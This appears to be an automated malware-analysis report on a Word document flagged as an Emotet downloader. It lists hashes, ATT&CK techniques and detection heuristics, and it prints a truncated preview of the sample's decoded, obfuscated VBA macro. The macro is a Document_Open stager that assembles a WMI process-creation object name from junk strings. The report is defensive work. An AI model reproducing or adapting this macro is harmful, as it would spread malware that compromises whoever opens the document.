Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 387d2f5634be41b0…

MALICIOUS

Office (OLE)

226.4 KB Created: 2020-08-25 22:17:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 318afe8874cf406b713450d1900f70a3 SHA-1: 26a67b551c28bf8376dce0193c20f95d693c5ab9 SHA-256: 387d2f5634be41b05cb5fb8aa89bc72640a5a4d2cbdc8b666324b94fc8ce66bf
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm as a command stager. This technique is commonly used to obfuscate and execute malicious code, often for downloading and running further payloads. The ClamAV detection name 'Doc.Downloader.EmotetRed02226-9938639-0' strongly suggests a downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12945 bytes
SHA-256: 5bde52ffff083ea30010679ddab0a19b392e1c6385229e362a91ecc1bc4838d2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Lsfhbiiqh04zpgwo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Kylm18mk20ftizej.Oy92vwwlpez_1u4y
End Sub


Attribute VB_Name = "Kylm18mk20ftizej"
Attribute VB_Base = "0{F9DC0778-AB0D-427D-9284-92FEFD4569D8}{61A74962-0216-422A-8E13-DD22A379D9F7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Oy92vwwlpez_1u4y()
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
Yhvx6orge93sic1sev = 100
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
Moki5grxe8xxh2d = ChrW(Yhvx6orge93sic1sev + (15))
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
Vf5d0k9isjxwuegwt4 = "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[i23&bh s6[[hu12 712tdd]]s hj[nm23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[gm23&bh s6[[hu12 712tdd]]s hj[t23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[" + Moki5grxe8xxh2d + "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[:23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[in23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[323&bh s6[[hu12 712tdd]]s hj[223&bh s6[[hu12 712tdd]]s hj[_23&bh s6[[hu12 712tdd]]s hj[" + Kylm18mk20ftizej.Diqt2kbvpfp0zmh + "23&bh s6[[hu12 712tdd]]s hj[ro23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[ce23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj["
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
O86gnnw8fwas4423y = Ae0tdir1m77en(Vf5d0k9isjxwuegwt4)
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
Set Vt2ppl76pd0 = CreateObject(O86gnnw8fwas4423y)
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq)
... (truncated)

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